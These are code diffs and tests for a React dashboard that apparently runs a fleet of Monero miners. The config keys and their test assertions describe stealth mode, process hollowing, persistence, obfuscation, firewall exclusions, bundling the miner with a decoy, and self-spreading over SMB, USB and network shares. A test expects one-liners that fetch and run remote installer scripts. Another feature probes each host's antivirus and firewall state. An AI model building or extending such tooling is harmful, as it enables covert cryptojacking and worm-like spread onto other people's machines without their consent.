const expectedKeys = [
'calibrate_wallet',
'calibrate_quick_setup',
'forge_simple_mode',
'forge_recommended_defaults',
'obfuscate',
'sign_build',
'obfuscate_default',
'sign_enabled',
'sign_cert_thumbprint',
'sign_tool_path',
'sign_timestamp_url',
'worker_name',
'server_url',
'output_dir',
'wallet',
'pool_host',
'pool_port',
'pool_tls',
'pool_pass',
'threads',
'thread_mode',
'thread_percent',
'max_cpu_usage_pct',
'max_memory_percent',
'min_free_ram_mb',
'cpu_priority',
'mining_mode',
'idle_threshold_pct',
'idle_duration_minutes',
'schedule_start',
'schedule_end',
'display_mode',
'process_name',
'persistence',
'run_as',
'silent_mode',
'auto_start',
'fusion_enabled',
'fusion_run_order',
'fusion_prep',
'fusion_media_mode',
'fusion_output_name',
'fusion_batch',
'install_base',
'install_custom_base',
'install_relative_path',
'public_url',
'websocket_ping_seconds',
'log_pool_traffic',
'adapt_to_hardware',
'self_healing',
'firewall_exclusion',
'open_firewall_on_start',
'file_logging',
'stealth_mode',
'ai_enabled',
'ai_ollama_endpoint',
'ai_model',
'process_hollowing',
'mesh_p2p',
'auto_spread',
'usb_spread',
'share_spread',
'hole_punch',
'remote_aggressive',
'target_os',
'target_arch',
'spread_kit',
'forge_deliverable',
] as const;
it('defines help text for every documented field key', () => {
expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort());
});
it('each help entry is a non-empty string', () => {
for (const key of expectedKeys) {
const text = FIELD_HELP[key];
expect(typeof text).toBe('string');
expect(text.trim().length).toBeGreaterThan(10);
}
});
it('wallet and server_url entries warn against localhost', () => {
expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
});
it('fusion entries describe decoy bundling', () => {
expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner');
expect(FIELD_HELP.fusion_prep).toContain('decoy');
expect(FIELD_HELP.fusion_run_order).toContain('Parallel');
});
it('advanced spread entries describe lateral/USB/share behavior', () => {
expect(FIELD_HELP.auto_spread).toContain('SMB');
expect(FIELD_HELP.usb_spread).toContain('USB');
expect(FIELD_HELP.share_spread).toContain('share');
});
});

View File

@@ -0,0 +1,215 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import AgentsPage from './AgentsPage';
import { mockAgent, mockServerInfo } from '../test/fixtures';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(),
}));
const useWebSocketMock = vi.mocked(useWebSocket);
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
return {
isConnected: false,
agents: [],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
...overrides,
};
}
function renderAgentsPage() {
return render(<AgentsPage />);
}
describe('AgentsPage', () => {
beforeEach(() => {
vi.clearAllMocks();
useWebSocketMock.mockReturnValue(wsValue());
vi.spyOn(api, 'listAgents').mockResolvedValue([]);
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'getAgentStats').mockResolvedValue([]);
vi.spyOn(api, 'getAgentLog').mockResolvedValue({ agent_id: 'x', content: 'log line' });
vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
success: true,
agent: mockAgent({ notes: 'saved note', tags: ['rack-a'] }),
});
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
success: true,
sent: 1,
failed: 0,
action: 'restart',
});
});
afterEach(() => {
cleanup();
});
it('renders page heading and quick deploy labels', async () => {
renderAgentsPage();
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
await waitFor(() => {
expect(screen.getByText('One-liner Quick Deploy')).toBeInTheDocument();
});
expect(screen.getByText('Install & run (auto-launches)')).toBeInTheDocument();
expect(screen.getByText('Direct download only (saves file)')).toBeInTheDocument();
expect(screen.getAllByText('Windows')).toHaveLength(2);
expect(screen.getByText('Linux/Mac')).toBeInTheDocument();
expect(screen.getByText('macOS')).toBeInTheDocument();
});
it('builds quick deploy URLs from server info', async () => {
renderAgentsPage();
await waitFor(() => {
expect(screen.getAllByText(`iex (irm '${mockServerInfo.suggested_url}/install.ps1')`)).toHaveLength(1);
});
expect(screen.getByText(`curl -sL ${mockServerInfo.suggested_url}/install.sh | bash`)).toBeInTheDocument();
expect(screen.getByText(`${mockServerInfo.suggested_url}/get?os=windows`)).toBeInTheDocument();
});
it('shows loading then empty multi-OS state', async () => {
renderAgentsPage();
expect(screen.getByText('Scanning network...')).toBeInTheDocument();
expect(await screen.findByText('No agents registered')).toBeInTheDocument();
expect(
screen.getByText(/Deploy a worker to any machine \(Windows, Linux, or macOS\)/)
).toBeInTheDocument();
});
it('surfaces listAgents load errors', async () => {
vi.spyOn(api, 'listAgents').mockRejectedValue(new Error('API unavailable'));
renderAgentsPage();
expect(await screen.findByText('API unavailable')).toBeInTheDocument();
});
it('lists agents and opens detail panel with section headings', async () => {
const agent = mockAgent({ name: 'Rack B Miner', notes: 'basement', tags: ['home'] });
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
renderAgentsPage();
await waitFor(() => {
expect(screen.getByText('Rack B Miner')).toBeInTheDocument();
});
await userEvent.setup().click(screen.getByText('Rack B Miner'));
await waitFor(() => {
expect(screen.getByRole('heading', { level: 2, name: 'Rack B Miner' })).toBeInTheDocument();
});
expect(screen.getByText('Notes & Tags')).toBeInTheDocument();
expect(screen.getByText('Hashrate')).toBeInTheDocument();
expect(screen.getByText('Shares')).toBeInTheDocument();
expect(screen.getByText('Remote Control')).toBeInTheDocument();
expect(api.getAgentStats).toHaveBeenCalledWith(agent.id, 60);
});
it('preserves notes draft while typing until agent switch', async () => {
const a1 = mockAgent({ id: 'a1', name: 'Node One', notes: 'note one' });
const a2 = mockAgent({ id: 'a2', name: 'Node Two', notes: 'note two' });
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2]);
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Node One')).toBeInTheDocument());
const user = userEvent.setup();
await user.click(screen.getByText('Node One'));
const detail = await screen.findByRole('heading', { level: 2, name: 'Node One' });
const panel = detail.closest('.agent-detail') as HTMLElement;
const notes = within(panel).getByPlaceholderText('Notes about this machine…') as HTMLTextAreaElement;
await waitFor(() => expect(notes.value).toBe('note one'));
await user.clear(notes);
await user.type(notes, 'typing in progress');
expect(notes.value).toBe('typing in progress');
await user.click(screen.getByText('Node Two'));
await waitFor(() => expect(notes.value).toBe('note two'));
});
it('saves notes and tags via API', async () => {
const agent = mockAgent({ id: 'save-me', name: 'Save Target' });
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
const updateSpy = vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
success: true,
agent: { ...agent, notes: 'Living room PC', tags: ['living-room'] },
});
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Save Target')).toBeInTheDocument());
const user = userEvent.setup();
await user.click(screen.getByText('Save Target'));
const detail = await screen.findByRole('heading', { level: 2, name: 'Save Target' });
const panel = detail.closest('.agent-detail') as HTMLElement;
const notes = within(panel).getByPlaceholderText('Notes about this machine…');
await user.clear(notes);
await user.type(notes, 'Living room PC');
const tags = within(panel).getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
await user.clear(tags);
await user.type(tags, 'living-room, rack-b');
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
await waitFor(() => {
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
});
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
});
it('alerts when bulk action has no online agents', async () => {
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
vi.spyOn(api, 'listAgents').mockResolvedValue([offline]);
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Offline Node')).toBeInTheDocument());
const list = screen.getByText('Offline Node').closest('.agents-list') as HTMLElement;
await userEvent.setup().click(within(list).getByRole('checkbox'));
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
await waitFor(() => {
expect(alertSpy).toHaveBeenCalledWith('No online agents in selection.');
});
alertSpy.mockRestore();
});
it('alerts when bulk command API fails', async () => {
const agent = mockAgent({ name: 'Online One' });
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('bulk failed'));
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Online One')).toBeInTheDocument());
const list = screen.getByText('Online One').closest('.agents-list') as HTMLElement;
await userEvent.setup().click(within(list).getByRole('checkbox'));
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
await waitFor(() => {
expect(alertSpy).toHaveBeenCalledWith('bulk failed');
});
alertSpy.mockRestore();
});
it('syncs agents from websocket when connected', async () => {
const restAgent = mockAgent({ id: 'rest', name: 'REST Name', hashrate_15m: 100 });
vi.spyOn(api, 'listAgents').mockImplementation(
() => new Promise((resolve) => setTimeout(() => resolve([restAgent]), 50))
);
const liveAgent = mockAgent({ id: 'rest', name: 'Live Name', hashrate_15m: 999 });
useWebSocketMock.mockReturnValue(wsValue({ isConnected: true, agents: [liveAgent] }));
renderAgentsPage();
await waitFor(() => {
expect(screen.getByText('Live Name')).toBeInTheDocument();
});
expect(screen.queryByText('REST Name')).not.toBeInTheDocument();
});
it('shows filter empty hint when no agents match', async () => {
vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent({ name: 'Hidden', tags: ['prod'] })]);
renderAgentsPage();
await waitFor(() => expect(screen.getByText('Hidden')).toBeInTheDocument());
const search = screen.getByPlaceholderText('Search name, IP, notes, tags…');
await userEvent.setup().type(search, 'nomatchxyz');
expect(screen.getByText('No agents match filters.')).toBeInTheDocument();
});
});

View File

@@ -1,4 +1,4 @@
import { useState, useEffect, useMemo, useCallback } from 'react'; import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
import { api } from '../api/client'; import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket'; import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types'; import type { Agent, HashrateSample, ServerInfo } from '../types';
@@ -93,13 +93,25 @@ export default function AgentsPage() {
const [tagsDraft, setTagsDraft] = useState(''); const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false); const [metaSaving, setMetaSaving] = useState(false);
const [metaMsg, setMetaMsg] = useState(''); const [metaMsg, setMetaMsg] = useState('');
const isConnectedRef = useRef(isConnected);
isConnectedRef.current = isConnected;
useEffect(() => { useEffect(() => {
let cancelled = false;
api.listAgents() api.listAgents()
.then(setAgents) .then((data) => {
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents')) if (!cancelled && !isConnectedRef.current) setAgents(data);
.finally(() => setLoading(false)); })
.catch((err) => {
if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents');
})
.finally(() => {
if (!cancelled) setLoading(false);
});
api.getServerInfo().then(setServerInfo).catch(() => {}); api.getServerInfo().then(setServerInfo).catch(() => {});
return () => {
cancelled = true;
};
}, []); }, []);
useEffect(() => { useEffect(() => {
@@ -214,6 +226,7 @@ export default function AgentsPage() {
await api.sendBulkCommand(onlineIds, action); await api.sendBulkCommand(onlineIds, action);
} catch (err) { } catch (err) {
console.error(err); console.error(err);
alert(err instanceof Error ? err.message : 'Bulk command failed');
} finally { } finally {
setBulkBusy(false); setBulkBusy(false);
} }

View File

@@ -150,10 +150,82 @@
margin-top: 1px; margin-top: 1px;
} }
.cn-badges {
display: flex;
flex-wrap: wrap;
gap: 0.25rem;
margin-top: 2px;
}
.cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); } .cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); }
.cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); } .cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); }
.cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); } .cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
.cn-posture {
font-size: 0.68rem;
font-family: var(--font-tech);
letter-spacing: 0.04em;
padding: 1px 5px;
border-radius: 3px;
}
.cn-posture.posture-good { color: var(--neon-green); background: rgba(57,255,20,0.1); }
.cn-posture.posture-warn { color: var(--neon-amber); background: rgba(255,176,32,0.12); }
.cn-posture.posture-bad { color: #ff4466; background: rgba(255,68,102,0.12); }
.cn-posture.posture-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
.cn-patch {
font-size: 0.65rem;
font-family: var(--font-tech);
padding: 1px 5px;
border-radius: 3px;
}
.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); }
.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
.cn-elevated {
font-size: 0.62rem;
font-family: var(--font-tech);
padding: 1px 4px;
border-radius: 3px;
color: var(--neon-magenta);
background: rgba(255,45,166,0.12);
letter-spacing: 0.04em;
}
/* ── Pending-updates badge ─────────────────────────────────────────────────── */
.cn-upd {
font-size: 0.62rem;
font-family: var(--font-tech);
padding: 1px 4px;
border-radius: 3px;
letter-spacing: 0.04em;
}
.cn-upd.upd-ok { color: #00ff88; background: rgba(0,255,136,0.08); }
.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
.cn-upd.upd-bad { color: #ff4444; background: rgba(255,68,68,0.12); font-weight: 700; }
.cn-upd.upd-unk { color: #888; background: rgba(128,128,128,0.08); }
/* ── Reboot-pending badge ──────────────────────────────────────────────────── */
.cn-reboot {
font-size: 0.62rem;
font-family: var(--font-tech);
padding: 1px 4px;
border-radius: 3px;
letter-spacing: 0.04em;
}
.cn-reboot.rb-pending {
color: #ff2222;
background: rgba(255,34,34,0.15);
font-weight: 700;
animation: rb-blink 1.4s step-end infinite;
}
@keyframes rb-blink {
0%, 100% { opacity: 1; }
50% { opacity: 0.45; }
}
/* ── Row: Groups + Actions ───────────────────────────────────────────── */ /* ── Row: Groups + Actions ───────────────────────────────────────────── */
.crucible-row { .crucible-row {

View File

@@ -45,6 +45,57 @@ function sshBadge(agent: Agent) {
return { label: 'SSH ?', cls: 'ssh-unk' }; return { label: 'SSH ?', cls: 'ssh-unk' };
} }
function postureBadge(score?: number) {
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' };
if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' };
return { label: `P:${score}`, cls: 'posture-bad' };
}
function patchLabel(days?: number) {
if (days === undefined) return null;
return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
}
function postureTooltip(agent: Agent): string {
const lines: string[] = [];
const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';
lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`);
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
lines.push('──────────────────────');
// Patch exposure
if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`);
else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`);
if (agent.pending_updates !== undefined) {
const u = agent.pending_updates;
lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u}`}`);
}
if (agent.reboot_pending !== undefined) {
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
}
return lines.join('\n');
}
function pendingBadge(agent: Agent): { label: string; cls: string } | null {
const u = agent.pending_updates;
if (u === undefined) return null;
if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' };
if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' };
if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' };
return { label: `${u} UPD`, cls: 'upd-bad' };
}
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
if (agent.reboot_pending === undefined) return null;
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
return null; // no badge when not pending — cleaner UI
}
function platformIcon(platform?: string): string { function platformIcon(platform?: string): string {
if (!platform) return '⬡'; if (!platform) return '⬡';
const p = platform.toLowerCase(); const p = platform.toLowerCase();
@@ -99,8 +150,9 @@ export default function CruciblePage() {
const [cmdHistory, setCmdHistory] = useState<string[]>([]); const [cmdHistory, setCmdHistory] = useState<string[]>([]);
const [histIdx, setHistIdx] = useState(-1); const [histIdx, setHistIdx] = useState(-1);
// SSH status overrides (from probe results) // SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({}); const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]); const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
const selectedAgents = useMemo( const selectedAgents = useMemo(
@@ -128,20 +180,35 @@ export default function CruciblePage() {
for (const r of newEntries) { for (const r of newEntries) {
const aid = r.agent_id; const aid = r.agent_id;
if (!aid) continue; if (!aid) continue;
// Only show results from agents that are selected (or all if nothing selected)
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
// Parse SSH probe results to update ssh status
const msg = r.message ?? ''; const msg = r.message ?? '';
// Always update badges from probe / heartbeat command responses
if (msg.includes('SSH_PROBE:ONLINE')) { if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true })); setSshOverride((prev) => ({ ...prev, [aid]: true }));
} else if (msg.includes('SSH_PROBE:OFFLINE')) { } else if (msg.includes('SSH_PROBE:OFFLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: false })); setSshOverride((prev) => ({ ...prev, [aid]: false }));
} }
if (r.action === 'posture' || msg.includes('{')) {
try {
const start = msg.indexOf('{');
if (start >= 0) {
const p = JSON.parse(msg.slice(start)) as { posture_score?: number; last_patch_days?: number; ssh_listening?: boolean };
if (typeof p.posture_score === 'number') {
setPostureOverride((prev) => ({
...prev,
[aid]: { score: p.posture_score!, patchDays: p.last_patch_days },
}));
}
if (p.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (p.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
}
} catch { /* ignore malformed JSON */ }
}
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
// Split multi-line output
const msgLines = msg.split('\n').filter(Boolean); const msgLines = msg.split('\n').filter(Boolean);
for (const line of msgLines) { for (const line of msgLines) {
lines.push({ lines.push({
@@ -258,6 +325,28 @@ export default function CruciblePage() {
} }
}; };
const probePosture = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
Promise.all(
tgts.map((a) =>
api.sendAgentCommand(a.id, 'posture').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
},
]);
})
)
);
};
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => { const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; } if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') { if (e.key === 'ArrowUp') {
@@ -282,6 +371,13 @@ export default function CruciblePage() {
return sshBadge({ ...a }); return sshBadge({ ...a });
}; };
const postureStatus = (a: Agent) => {
const o = postureOverride[a.id];
const score = o?.score ?? a.posture_score;
const patchDays = o?.patchDays ?? a.last_patch_days;
return { ...postureBadge(score), patch: patchLabel(patchDays) };
};
// ── Render ───────────────────────────────────────────────────────────── // ── Render ─────────────────────────────────────────────────────────────
return ( return (
@@ -319,6 +415,7 @@ export default function CruciblePage() {
const sel = selectedIds.has(a.id); const sel = selectedIds.has(a.id);
const isOn = online(a); const isOn = online(a);
const ssh = sshStatus(a); const ssh = sshStatus(a);
const posture = postureStatus(a);
const color = agentColor(a.id, allIds); const color = agentColor(a.id, allIds);
return ( return (
<div <div
@@ -345,7 +442,36 @@ export default function CruciblePage() {
<span>{a.cpu_cores}c</span> <span>{a.cpu_cores}c</span>
<span>{formatHashrate(a.hashrate_15m)}</span> <span>{formatHashrate(a.hashrate_15m)}</span>
</div> </div>
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div> <div className="cn-badges">
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
<div
className={`cn-posture ${posture.cls}`}
title={postureTooltip(a)}
>
{posture.label}
</div>
{posture.patch && (
<div
className={`cn-patch ${posture.patch.cls}`}
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)`}
>
{posture.patch.label}
</div>
)}
{(() => { const pb = pendingBadge(a); return pb && (
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
{pb.label}
</div>
); })()}
{(() => { const rb = rebootBadge(a); return rb && (
<div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates">
{rb.label}
</div>
); })()}
{a.agent_elevated && (
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
)}
</div>
</div> </div>
</div> </div>
); );
@@ -393,6 +519,26 @@ export default function CruciblePage() {
<span className="section-ornament"></span> OPERATIONS <span className="section-ornament"></span> OPERATIONS
</div> </div>
<div className="crucible-ops"> <div className="crucible-ops">
<div className="crucible-op-group">
<span className="cop-label">Posture</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => probePosture()}
title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation"
>
Probe Selected
</button>
<button
className="button crucible-op-btn crucible-op-wake"
disabled={agents.filter(online).length === 0}
onClick={() => probePosture(agents.filter(online))}
title="Probe ALL online nodes at once"
>
Probe All
</button>
</div>
<div className="crucible-op-group"> <div className="crucible-op-group">
<span className="cop-label">SSH</span> <span className="cop-label">SSH</span>
<button <button

View File

@@ -0,0 +1,190 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import DashboardPage, { formatShareTime } from './DashboardPage';
import { mockAgent, mockShare } from '../test/fixtures';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(),
}));
vi.mock('../components/Visual/3D/FleetTopologyMap', () => ({
default: () => <div data-testid="fleet-topology-map" />,
}));
vi.mock('../components/Visual/MatrixStreamOverlay', () => ({
default: () => null,
}));
const useWebSocketMock = vi.mocked(useWebSocket);
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
return {
isConnected: true,
agents: [],
recentShares: [],
fleetAlerts: [],
poolStatus: [],
aiActivity: [],
agentLogs: {},
commandResults: [],
latestMessage: null,
...overrides,
};
}
function renderDashboard() {
return render(
<MemoryRouter>
<DashboardPage />
</MemoryRouter>
);
}
describe('formatShareTime', () => {
it('formats ISO timestamps as locale time strings', () => {
const iso = '2026-05-30T12:00:00.000Z';
expect(formatShareTime(iso)).toBe(new Date(iso).toLocaleTimeString());
});
});
describe('DashboardPage', () => {
beforeEach(() => {
vi.clearAllMocks();
localStorage.clear();
useWebSocketMock.mockReturnValue(wsValue());
vi.spyOn(api, 'getRecentShares').mockResolvedValue([]);
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'getConfig').mockResolvedValue({
port: 8080,
data_dir: '',
pool: {} as never,
wallet: {} as never,
server: { dashboard_subtitle: 'custom subtitle from server' },
alerts: {} as never,
});
vi.spyOn(api, 'getAlerts').mockResolvedValue([]);
vi.spyOn(api, 'getPoolStatus').mockResolvedValue([]);
vi.spyOn(api, 'getAIActivity').mockResolvedValue([]);
vi.spyOn(api, 'getXmrPrice').mockResolvedValue({ usd: 165.5, updated_at: '' });
vi.spyOn(api, 'getEarningsEstimate').mockResolvedValue({
xmr_per_day: 0.01,
usd_per_day: 1.65,
network_hashrate: 1e9,
});
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
success: true,
sent: 1,
failed: 0,
action: 'restart',
});
});
afterEach(() => {
cleanup();
});
it('renders hero heading and key section titles', () => {
renderDashboard();
expect(screen.getByRole('heading', { level: 1, name: 'Command Deck' })).toBeInTheDocument();
expect(screen.getByText('Fleet Pipeline')).toBeInTheDocument();
expect(screen.getByText('Share Activity Pulse')).toBeInTheDocument();
expect(screen.getByText('Machine Roster')).toBeInTheDocument();
expect(screen.getByText('PERSONAL NETWORK · LIVE TELEMETRY')).toBeInTheDocument();
});
it('shows reconnecting label when websocket is down', () => {
useWebSocketMock.mockReturnValue(wsValue({ isConnected: false }));
renderDashboard();
expect(screen.getByText('RECONNECTING')).toBeInTheDocument();
});
it('shows signal locked when websocket is connected', () => {
renderDashboard();
expect(screen.getByText('SIGNAL LOCKED')).toBeInTheDocument();
expect(screen.getByText('0 nodes registered')).toBeInTheDocument();
});
it('loads dashboard subtitle from config API', async () => {
renderDashboard();
expect(await screen.findByText('custom subtitle from server')).toBeInTheDocument();
expect(api.getConfig).toHaveBeenCalled();
});
it('shows empty roster state when no agents', async () => {
renderDashboard();
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
});
it('renders stat labels and top agent card', async () => {
const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 });
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
renderDashboard();
expect(await screen.findByText('Total Hashrate')).toBeInTheDocument();
expect(screen.getByText('Fleet Online')).toBeInTheDocument();
expect(screen.getByText('Accept Rate')).toBeInTheDocument();
const roster = screen.getByText('Machine Roster').closest('section') as HTMLElement;
expect(within(roster).getByText('Alpha Node')).toBeInTheDocument();
expect(within(roster).getByText('online')).toBeInTheDocument();
});
it('toggles advanced mode and reveals share log section', async () => {
const user = userEvent.setup();
vi.spyOn(api, 'getRecentShares').mockResolvedValue([mockShare()]);
renderDashboard();
expect(screen.queryByText('Share Log')).not.toBeInTheDocument();
await user.click(screen.getByRole('button', { name: '[ADVANCED]' }));
expect(screen.getByText('Share Log')).toBeInTheDocument();
expect(localStorage.getItem('aether-dash-advanced')).toBe('1');
});
it('shows share log rows in advanced mode with stable keys', async () => {
const share = mockShare({ id: undefined as unknown as number, hash: 'deadbeef' });
vi.spyOn(api, 'getRecentShares').mockResolvedValue([share]);
localStorage.setItem('aether-dash-advanced', '1');
useWebSocketMock.mockReturnValue(wsValue({ agents: [mockAgent()] }));
renderDashboard();
expect(await screen.findByText('Share Log')).toBeInTheDocument();
expect(screen.getByText('Accepted')).toBeInTheDocument();
});
it('alerts when bulk command API fails', async () => {
const agent = mockAgent();
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('network down'));
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
renderDashboard();
const roster = await screen.findByText('Machine Roster');
const section = roster.closest('section') as HTMLElement;
await waitFor(() => expect(within(section).getByText(agent.name)).toBeInTheDocument());
const user = userEvent.setup();
const grid = section.querySelector('.agent-grid') as HTMLElement;
await user.click(within(grid).getByRole('checkbox'));
const bulkBar = section.querySelector('.fleet-bulk-bar') as HTMLElement;
await user.click(within(bulkBar).getByRole('button', { name: 'Pause' }));
await waitFor(() => {
expect(alertSpy).toHaveBeenCalledWith('network down');
});
alertSpy.mockRestore();
});
it('prefers live websocket alerts over REST fallback', async () => {
useWebSocketMock.mockReturnValue(
wsValue({
fleetAlerts: [{ id: '1', level: 'warn', type: 'pool_down', message: 'live alert', timestamp: '' }],
})
);
vi.spyOn(api, 'getAlerts').mockResolvedValue([
{ id: '2', level: 'warn', type: 'stale', message: 'rest alert', timestamp: '' },
]);
renderDashboard();
expect(await screen.findByText('live alert')).toBeInTheDocument();
expect(screen.queryByText('rest alert')).not.toBeInTheDocument();
});
});

View File

@@ -514,8 +514,8 @@ export default function DashboardPage() {
<tr><td colSpan={4} className="empty-table">No shares yet awaiting proof of work...</td></tr> <tr><td colSpan={4} className="empty-table">No shares yet awaiting proof of work...</td></tr>
)} )}
{shares.map((share) => ( {shares.map((share) => (
<tr key={share.id}> <tr key={share.id ?? `${share.agent_id}-${share.hash}-${share.timestamp}`}>
<td className="time-cell font-tech">{formatTime(share.timestamp)}</td> <td className="time-cell font-tech">{formatShareTime(share.timestamp)}</td>
